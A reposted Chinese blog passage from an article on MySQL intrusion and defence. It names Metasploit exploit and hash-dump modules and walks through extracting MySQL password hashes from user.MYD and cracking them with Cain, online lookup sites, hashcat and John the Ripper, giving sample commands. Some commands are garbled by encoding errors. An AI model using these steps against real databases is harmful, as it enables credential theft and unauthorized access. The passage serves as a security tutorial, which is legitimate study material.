  • MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 不存在漏洞

  • MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not 不存在漏洞

?

use auxiliary/scanner/mysql/mysql_authbypass_hashdump

?

2、exploit/windows/mysql/mysql_yassl_hello

?

3、exploit/windows/mysql/scrutinizer_upload_exec

?

六、MySQL?密碼破解

?

1、Cain 工具破解?MySQL?密碼

?

使用 UltraEdit-32 編輯器直接打開 user.MYD 文件,打開后使用二進制模式進行查看,在 Root 用戶后面是一串字符串,選中這些字符串將其復制到記事本中,這些字符串即為用戶加密值,例如 506D1427F6F61696B4501445C90624897266DAE3。

?

注意:

  • root 后面的“*”不要復制到字符串中。

  • 在有些情況下需要往后面看看,否則得到的不是完整的 MYSQLSHA1 密碼,總之其正確的密碼位數是 40 位。

?

安裝 cain 工具,使用 cracker,右鍵單擊“Add tolist”將?MySQL?Hashes 值加入到破解列表中,使用軟件中的字典、暴力破解等方式來進行暴力破解。

?

2、網站在線密碼破解

?

  • cmd5.com 破解。將獲取的?MySQL?值放在 cmd5.com 網站中進行查詢,MySQL?密碼一般都是收費的;

  • somd5.com 破解。Somd5.com 是后面出現的一個免費破解網站,每次破解需要手工選擇圖形碼進行破解,速度快,效果好,只是每次只能破解一個,而且破解一次后需要重新輸入驗證碼。

?

3、Oclhash 破解

?

Hashcat 支持很多種破解算法,免費開源軟件,官方網站?https://hashcat.net/hashcat/,破解命令

hashcat64.exe?-m?200myql.hashpass.dict?//破解MySQL323類型

hashcat64.exe?-m?300myql.hashpass.dict?//破解MySQL4.1/MySQL5類型

?

4、John the Ripper password cracker

?

John the Ripper 下載地址:http://www.openwall.com/john/h/john179w2.zip,John the Ripper 除了能夠破解 linux 外,還能破解多種格式的密碼

Echo?*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B>hashes.txt

John?–format?=mysql-sha1?hashes.txt

john?--list=formats?|?grep?mysql?//查看支持mysql密碼破解的算法

轉載于:https://www.cnblogs.com/lic1005/p/9318633.html

總結

以上是生活随笔為你收集整理的MySQL数据库入侵及防御方法的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。